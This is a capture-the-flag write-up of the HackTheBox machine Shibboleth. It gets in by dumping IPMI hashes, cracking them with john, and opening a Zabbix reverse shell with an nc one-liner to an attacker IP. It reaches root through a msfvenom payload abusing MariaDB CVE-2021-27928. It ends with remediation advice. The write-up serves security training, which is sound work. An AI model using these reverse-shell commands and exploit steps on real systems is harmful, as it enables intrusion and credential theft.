---
title: "Writeup - Shibboleth (HTB)"
date: 2022-04-02
slug: "writeup-shibboleth-htb"
type: "writeup-ctf"
--- 

This is a writeup for the [Shibboleth](https://app.hackthebox.com/machines/Shibboleth) machine on the HackTheBox site.

## Enumeration

First, let's start with a scan of our target with the following command:


```bash
nmap -sV 10.10.11.124
```
One TCP ports are discovered:

![](img/image-1.webp)

- 80/tcp : HTTP web server (Apache 2.4.41)

![](img/image-2.webp)

## Exploit

At first I start by making a scan of the pages of the site:

![](img/image-3.webp)

Then I make a scan of the subdomain:

![](img/image-4.webp)

I find 3 different subdomains, I add them to the `/etc/hosts`. Then I access the site `zabbix.shibboleth.htb` and I arrive on an authentication page!

![](img/image-5.webp)

After some research, I can't find anything in particular. So I try to do a UDP scan to see if any additional ports are open. For that I use the following command:


```bash
sudo nmap -sU --min-rate 5000 shibboleth.htb
```
![](img/image-6.webp)

The port 623/udp is open, after some research on google I find this port is used for IPMI (Intelligent Platform Management Interface). I quickly find an exploit related to this port:

[623/UDP/TCP - IPMI - HackTricks](https://book.hacktricks.xyz/pentesting/623-udp-ipmi)

So I launch Metasploit and I set the extension with the following commands:


```bash
use auxiliary/scanner/ipmi/ipmi_dumphashes
set RHOSTS shibboleth.htb
set OUTPUT_JOHN_FILE hash
```
After a few seconds, it returns the hash of an `Administrateur` user!


```bash
[+] 10.10.11.124:623 - IPMI - Hash found: Administrator:156faf2282010000498ef9d2af7763ced04cc2a26058817d46f358e7f7f1991b35fd4a73def2e04ea123456789abcdefa123456789abcdef140d41646d696e6973747261746f72:6b18bd2fb3309ee821c2ade2e1bcc9f2a8c75519
```
I try to crack it with john using the following command:


```bash
john hash --wordlist=rockyou.txt
```
![](img/image-7.webp)

John finds the following password: `ilovepumkinpie1`.

I then credit them on the previous authentication page and it works.

![](img/image-8.webp)

After some research I find that it is possible to execute commands by creating an item via the administration panel. For that I go on the following page:

Configuration -> Hosts -> Item -> Create Item

I give a name to the item then I return the following key value:


```bash
name: shell
key : system.run[rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.103 1234 >/tmp/f,nowait]
```
I can now test the item with the `Get value and test` button.

![](img/image-9.webp)

I now have a reverse shell with the user `zabbix`.

![](img/image-10.webp)

I start by upgrading my shell with the following command:


```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
```
Then I realize that the first flag is held by the user `ipmi-svc`. This is the same name as the port I exploited above, so I try to change the user with the same password:


```bash
zabbix@shibboleth:/home/ipmi-svc$ su ipmi-svc 
su ipmi-svc
Password: ilovepumkinpie1

ipmi-svc@shibboleth:~$ cat user.txt
cat user.txt
70c2f49504f02ded92ccbef9b3c95b35
```
I now have access to the first flag.

## Privilege escalation

I start by uploading the [linPeas.sh](https://linpeas.sh) script then I run it. I notice 2 things in the result:

- The mysql service is run by the root user
- I have access to a file with a username and password to access the database

![](img/image-11.webp)

So I try to connect to the database with the following command:


```bash
mysql -h 127.0.0.1 -u zabbix -p
```
![](img/image-12.webp)

The credentials work well and allow me to discover the version of the mysql database: MariaDB 10.3.25.

After some research I find that this version is sensitive to [CVE-2021-27928](https://github.com/Al1ex/CVE-2021-27928). This CVE allows to create a reverse shell root !

So I start by creating a payload with the following command:


```bash
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.103 LPORT=2345 -f elf-so -o exploit.so
```
Then after uploading it to the target machine, I set the global variable wsrep\_provider with this same payload:


```bash
mysql -h 127.0.0.1 -u zabbix -p -e 'SET GLOBAL wsrep_provider="/tmp/exploit.so";'
```
![](img/image-13.webp)

I now have a reverse shell as `root` and I can get the last flag.


```bash
root@shibboleth:/var/lib/mysql# cat /root/root.txt
cat /root/root.txt
6e4f289fbcc6803513ffe5a5dae46b85
```
## Recommendations

To patch this host I think it would be necessary to perform a number of actions:

- Update IPMI to avoid dumps of user hashes
- Do not use the same password across multiple services
- Do not run MariaDB as root
- Update MariaDB to avoid the reverse shell exploit